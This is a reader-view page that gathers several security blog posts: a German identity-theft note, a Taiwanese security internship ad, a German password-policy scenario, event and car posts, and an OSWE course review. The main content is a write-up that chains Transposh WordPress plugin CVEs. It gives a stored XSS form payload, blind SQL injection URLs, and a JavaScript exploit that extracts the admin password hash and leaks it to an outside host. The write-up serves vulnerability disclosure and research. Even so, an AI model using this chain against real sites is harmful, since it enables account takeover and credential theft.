Reading view

There are new articles available, click to refresh the page.

HanseSecure im ARD München Report

Gefahr -Identitätsdiebstahl bei Bewerbungen im Netz

Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl.
“Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten”, somit -VIELEN DANK für IHRE IDENTITÄT.
Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.

Zusammenfassung

  • Identitätsdiebstahl geht ohne großen Aufwand & Kosten
  • Strafanzeigen für den Bewerber folgen
  • Personalausweis & Pässe niemals online zeigen/ schicken!

Links

Wer sich den Beitrag ansehen möchte, kann sich diesen entweder als Beitrag oder Video ansehen 😉

Der Beitrag HanseSecure im ARD München Report erschien zuerst auf HanseSecure GmbH.

DEVCORE 2022 第二屆實習生計畫

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 9 月開始到 2023 年 2 月底,共 6 個月。
    • 備註:若應徵人數過多,我們評估無法在 08/26 前決定人選。整體實習時間將會順延一至兩週,屆時會提早發信通知所有應徵者。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷資格審查
  • 問答題答案(共 2 題,各組別題目不同,詳見下方報名方式

我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。

第二階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/08/12(五)23:59 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁
  • 題目如下,請依照欲申請之組別回答
    • Binary
      • 簡答題
        • 假設你今天要分析一台印表機
          • 你會如何去分析 ?
          • 你覺得有哪些地方可能會發生問題導致攻擊者可以獲得印表機控制權? 為什麼 ?
      • 實作題目
        • 題目檔案
          • 為一個互動式的 Server,可透過網路連線與之互動。
        • 請分析上述所提供的 Server,並利用其中的漏洞在 Windows 11 上跳出 calc.exe。
          • 漏洞可能有很多,不一定每個都可以利用。
        • 請務必寫下解題過程及如何去分析這個 Server,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 請提出三個,你印象最深刻或感到有趣、於西元 2020 ~ 2022 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響,以及所對應到的 OWASP Top 10 / CWE 類別。
      • (上述題目建議撰寫 1~2 頁即可)

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

WordPress Transposh: Exploiting a Blind SQL Injection via XSS

Introduction

You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:

Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.

Part 1: CVE-2022-2461 - Weak Default Configuration

So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous) to submit new translation entries using the ajax action tp_translation:

This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.

Part 2: CVE-2021-24911 - Unauthenticated Stored Cross-Site Scripting

The same ajax action tp_translation can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main or the Translation editor tab at /wp-admin/admin.php?page=tp_editor, then they’ll execute the injected arbitrary JavaScript:

At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.

Part 3: CVE-2022-25811 - Authenticated SQL Injections

So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:

/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))

This results in a nice delay of the response proving the SQL Injection:

To fully escalate this chain, let’s get to the most interesting part.

How to (Quickly) Exploit a Blind SQL Injection via Cross-Site Scripting

Approach

Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.

Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.

This is a lot and will require the victim to stay on the page for quite a while.

So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.

Transposh’s Sanitization?!

While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order and orderBy parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS which translates to "<>&:

$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';

It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters < and > with a between x and y. We don’t actually care about " and & since the payload doesn’t really require them.

Preparing The Test Cases

The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):

(SELECT+(
  CASE+WHEN+(
    ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
    +BETWEEN+1+AND+122)+
    THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))

I’ve split the payload up for readability reasons here. Let me explain its core components:

  • The ORD() (together with the MID) walks the user_pass string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1 clause to ensure we’re just grabbing the password of WordPress’s user id 1, which is usually the administrator of the instance.
  • The CASE WHEN –> BETWEEN 1 and 122 part validates whether each returned character matches an ordinal between 1 and 122.
  • The THEN –> ELSE part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.

The False Case

Let’s see how we can differentiate the responses to the BETWEEN x and y part. We do already know that the first character of a WordPress password is $ (ASCII 36), so let’s take this to show how the application reacts.

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) performs a BETWEEN 100 and 122 test which results in the following visible output:

The True Case

The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END)) in return performs a BETWEEN 1 and 122 check and returns a different visible output:

As you can see on the last screenshot, in the true case, the application will show the Bulk actions dropdown alongside the translated strings. This string will be our differentiator!

How to Reduce the Exploitation Requests from ~2200 to ~300

So we need to find a way not to have to send 76 requests per character - from 46 (.) to 122 (lower-capital z). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:

Let’s first define a couple of things:

  • 46: the lowest end of the possible character set –> cur (current) value.
  • 122: the upper end of the possible character set –> max (maximum) value.
  • 0: the previous valid current value –> prev value. Here we need to keep track of the previously true case value to be able to revert the calculation to a working case if we’d encounter a false case. 0 because we don’t know the first valid value.

Doing the initial between check of cur and maxwill always result in a true case (because it’s the entire allowed character set). To narrow it down, we now point cur value to exactly the middle between cur and max using the formula:

cur = cur + (Math.floor((max-cur)/2));

This results in a check of BETWEEN 84 and 122. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.

However, if we’d encounter a false case because the character is lower than 84, then let’s set the max value to the cur one because we have to instead look into the lower half, and also set cur to the prev value to keep track of it.

Based on this theory and to match the character uppercase C (ASCII: 67), the following would happen:

true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68

Finally, if cur equals prev, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).

Some JavaScript (Magic)

Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:

async function exploit() {
    let result = "$P$B";
    let targetChar = 5;
    let prev = 0;
    let cur = 46;
    let max = 122;
    let requestCount = 0;

    do {
        let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`

        const response = await fetch(url)
        const data = await response.text()

        requestCount = requestCount + 1;

        // this is the true/false differentiator
        if(data.includes("Bulk actions"))
        {
            // "true" case
            prev = cur;
            cur = cur + (Math.floor((max-cur)/2));

            //console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );

            if(cur === 0 && prev === 0) {
                console.log('Request count: ' + requestCount);
                return(result)
            }

            // this means we've found the correct char
            if(cur === prev) {
                result = result + String.fromCharCode(cur);

                // reset initial values
                prev = 0;
                cur = 20;
                max = 122;

                // proceed with next char
                targetChar = targetChar + 1;

                console.log(result);
            }
        }
        else
        {
            // "false" case
            // console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );

            max = cur;
            cur = prev;
        }
    } while (1)
}



exploit().then(x => {
    console.log('password: ' + x);

    // let's leak it to somewhere else
    leakUrl = "http://www.rcesecurity.com?password=" + x
    xhr = new XMLHttpRequest();
    xhr.open('GET', leakUrl);
    xhr.send();
});

Connecting the Dots

Now you could inject a Stored XSS payload like the following, which points a script src to a JavaScript file containing the payload:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="xss" />
      <input type="hidden" name="items" value="3" />
      <input type="hidden" name="tk0" value="xss&lt;script&#32;src&#61;&quot;https&#58;&#47;&#47;www&#46;attacker&#46;wf&#47;ff&#46;js&quot;&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:

Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung

 

Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung

 

 

Ein gewöhnlicher Arbeitstag bei der Usability-First AG in München. Die 2000 Mitarbeiter arbeiten derzeit an zahlreichen Großprojekten und fokussieren entsprechend die Produktivität. Auch Nina Nixmerker ist in Ihrem Projekt vertieft. Am Samstagmorgen wählt sich Nina aus dem HomeOffice ein, um noch einige Projektabschnitte für Montag abzuschließen. Sie wundert sich kurz, dass Sie bei der Anmeldung ihre bestehende Session beenden muss, da Sie sich sicher ist, sich am Freitag noch regulär abgemeldet zu haben.

Am Montag stellte die IT fest, dass ihre Zugangsdaten nicht mehr funktionierten. Nachdem Sie sich mit dem Notfall-Admin Account angemeldet haben, mussten diese feststellen, dass sich keine Dateien mehr öffnen ließen und mit einer .locked-Dateiendung versehen waren. Nach wenigen Minuten startete ein Chatfenster bei dem Account der IT mit dem Hinweis, dass die Unternehmensdateien verschlüsselt seien und man ab 15 Uhr für die Verhandlungen zur Verfügung stünde.

 

Was ist passiert?

 

Das Unternehmen Usability-First hat es in den vergangenen Jahren versäumt eine Password Policy einzuführen, noch die Nutzer entsprechend zu sensibilisieren. Somit arbeiteten alle 2000 Mitarbeiter im Unternehmen mit der Default Windows Domain Policy, welche unter anderem folgende Werte vorgibt:

  • Passwort Länge: 7 Zeichen
    Die Passwörter müssen mindestens 7 Zeichen lang sein, d.h. mit einer durchschnittlichen Gamer-Hardware kann ein Angreifer die Passwörter unter einem Tag knacken, wenn dieser Passwort-Hashes erlangt. Außerdem wird die Liste mögliche Passwörter, welche von den Nutzern verwendet werden, stark eingeschränkt was zum einen sogenannte Wörterbuch-Attacken begünstigt und zum anderen klassische Brute-Force Angriffe auf Login Funktionen.
  • Lockout-Schwelle: Deaktiviert
    Ein Angreifer kann potentiell unendlich Login-Versuche auf die Accounts durchführen. Dies könnte an öffentlichen Diensten wie einen OWA oder M365 missbraucht werden, deutlich gravierender wäre jedoch, wenn ein Angreifer im internen Netzwerk Passwörter ausprobieren kann.

Aufgrund fehlender Awareness, Tools und Unternehmensvorgaben hatte Nina Nixmerker für alle Ihre Accounts das gleiche Passwort. Das Passwort Nina.N1! verwendete Sie sowohl auf Social Media wie Twitter, Instagram und Facebook, wie auch für Ihren Windows und VPN-Account.

Durch einen Datenleak bei Facebook wurde 2021 ihr Passwort offengelegt, wodurch Angreifer zunächst ihre privaten Accounts kompromittiert haben. Hierdurch stellten die Angreifer fest, dass Nina in einer mittleren Management Position in einem Umsatzstarken Unternehmen tätig war. Nachdem die Angreifer sich anschließend im Netzwerk angemeldet hatten, stellten diese fest, dass zahlreiche User (darunter auch der Domain Admin) den Usernamen als Passwort verwendeten, wodurch diese im Zeitraum von Freitagabend bis Montag das gesamte Unternehmen verschlüsseln konnten.

 

Was tun?

 

Es gibt grundsätzlich 4 einfache und eine mittelkomplexe Maßnahme zur Minimierung derartiger Risiken.

Passwort Safe

Kaum jemand kann sich mehr als eine Hand voll komplexer Passwörter merken. Wir sind der Überzeugung, dass Nutzer sich in der Regel nur 3 Passwörter merken müssen.

  • Smartphone
  • Windows/ Mac Login
  • Passwort Safe

Alle weiteren Zugangsdaten werden in einem Passwort Safe erzeugt und verschlüsselt abgelegt. Bei der Auswahl des Tools solltet Ihr folgende Aspekte beachten:
Einfache Nutzung für die Nutzer (also Apps für Client, Smartphone und Plugin für Browser), Synchronisierung über Geräte und Rollen- und Rechtestruktur. Wir sind zusätzlich der Meinung, dass man Passwortsafes niemals in der Cloud hosten sollte, sollte immer eine OnPrem Lösung bevorzugen sollte.

Password Policy

Eine angemessene Password Policy im Unternehmen würde verhindern, dass sehr einfach und unbedacht Passwörter verwendet werden. Auch eine Lockout Sperre bei fehlgeschlagenen Anmeldeversuchen ist zwingend erforderlich. Wir empfehlen unseren Kunden folgende Konfiguration

  • Passwortlänge: 12 Zeichen
  • Passwortalter: 180 Tage
  • Lockout-welle: 10 Versuche
  • Lockout-Dauer: 6h
  • Reset Lockout-Counter: 6h

Dies ist unsere Empfehlung aus zahlreichen Assessments der vergangenen Jahrzenten. Falls Ihr der Meinung seid, dass 14 Zeichen mit unendlichem Passwortalter die bessere Alternative ist, seid ihr herzlich eingeladen mit mir auf Twitter zu diskutieren 😉

 

 

 

Awareness

Ohne ein grundlegendes Verständnis über Passwörter (Mehrfachverwendung – Datenleak, Identitätsdiebstahl, Schwache Passwörter, etc.) helfen die oben aufgeführten Maßnahmen nur bedingt. Deshalb sollten die Nutzer bezüglich dieses Themas (mindestens bei Onboarding im Idealfall 1x/Jahr) Informationen zu diesem Thema erhalten. Hier ein inhaltliches Beispiel für Tipps zum merken sicherer Passwörter -> Link auf Blogbeitrag

 

Audits

Sofern möglich, sollten mindestens die Passwörter in der Domain und bei öffentlichen (aus dem Internet erreichbar) Anwendungen jährlich überprüft werden. Bei Fragen, wie man dies im Idealfall prüft, sucht Euch einfach einen Dienstleister Eures Vertrauens

 

Sicherheitsgewinn

  • hoch

 

 

*Aus der Blog-Serie Top Security QuickFails

 

Der Beitrag Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung erschien zuerst auf HanseSecure GmbH.

HanseSecure auf der itsa 2022

 

it-sa Expo&Congress

Europas führende Fachmesse für IT-Sicherheit

 

25. – 27. Oktober 2022

NÜRNBERG

 

Wir sehen uns vom 25. – 27. Oktober in Nürnberg auf der it-sa 365 !

 

Was ist die it – sa Expo& Congress?

https://www.itsa365.de/de-de/it-sa-expo-congress/ueber-die-messe

 

Komm vorbei als Besucher!

https://www.itsa365.de/de-de/it-sa-expo-congress/besuchen

Wir sind zu finden:

Halle 6 ⇒ Stand 6 – 229

 

Der Beitrag HanseSecure auf der itsa 2022 erschien zuerst auf HanseSecure GmbH.

HanseSecureCar #4

DER HANSESECURE VAN Hier ist er der ein wenig andere Van. Wir sind mit dem Ergebnis sehr zufrieden und können euch die Jungs von CAR GROOMERS sehr empfehlen – selbstbezahlt und somit Werbung aus Überzeugung ;o) Danke für das Interesse an dieser kleinen Reise und wenn ihr uns entdeckt- schickt doch mal ein Foto :o) […]

HanseSecureCar #3

Die Feinheiten Einmal alle Ideen und Wünsche dargelegt. Die Möglichkeiten (Farben, Oberflächen, Effekte) und Materialien durchgegangen. Mit dem CAR GROOMER Team besprochen und visualisiert. Kurze Zeit später …. Hier war er- unser Van in 3D. Nochmals Kleinigkeiten personalisiert und ab ging´s in den Urlaub für unseren Van… WRAPPING In wie weit ihr euer Auto verändern […]

AWAE Course and OSWE Exam Review

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.

The Courseware & the Labs

I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.

You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:

  • Authentication Bypasses of all kinds
  • Type Juggling
  • SQL Injection
  • Server-Side JavaScript Injection
  • Deserialization
  • Template Injection
  • Cross-Site Scripting (this was unexpected in an RCE context!)
  • Server-Side Request Forgery
  • Prototype Pollution
  • Classic command injection

It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.

The Exam

Overview

The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.

The Proctoring

But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.

The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.

Basic Machine Setup

After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:

  • macOS Monterey 12.3.1
  • Viscosity for the VPN connection
  • Microsoft Remote Desktop to connect to the exam machines
  • Notion as my cheatsheet (Yes, you are allowed to use any notes during the exam)
  • BurpSuite Community for all the hacking (You are not allowed to use the Pro version!)
  • Python for all my scripting works

The exam machines come in a group of two, which means you’ll get one development machine to which you’ll have full access and one “production” machine which you don’t have complete access. You’ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.

The development machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.

Exam Goal

The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.

Pwn #1

Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.

I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.

After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.

Pwn #2

After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!

I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.

Documentation

On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!

I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.

A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam

netcup-xss

Who Should Take This Course?

The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.

So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.

But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.

OSWE Course And Exam Review

Introduction

This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course provided by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.

This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.

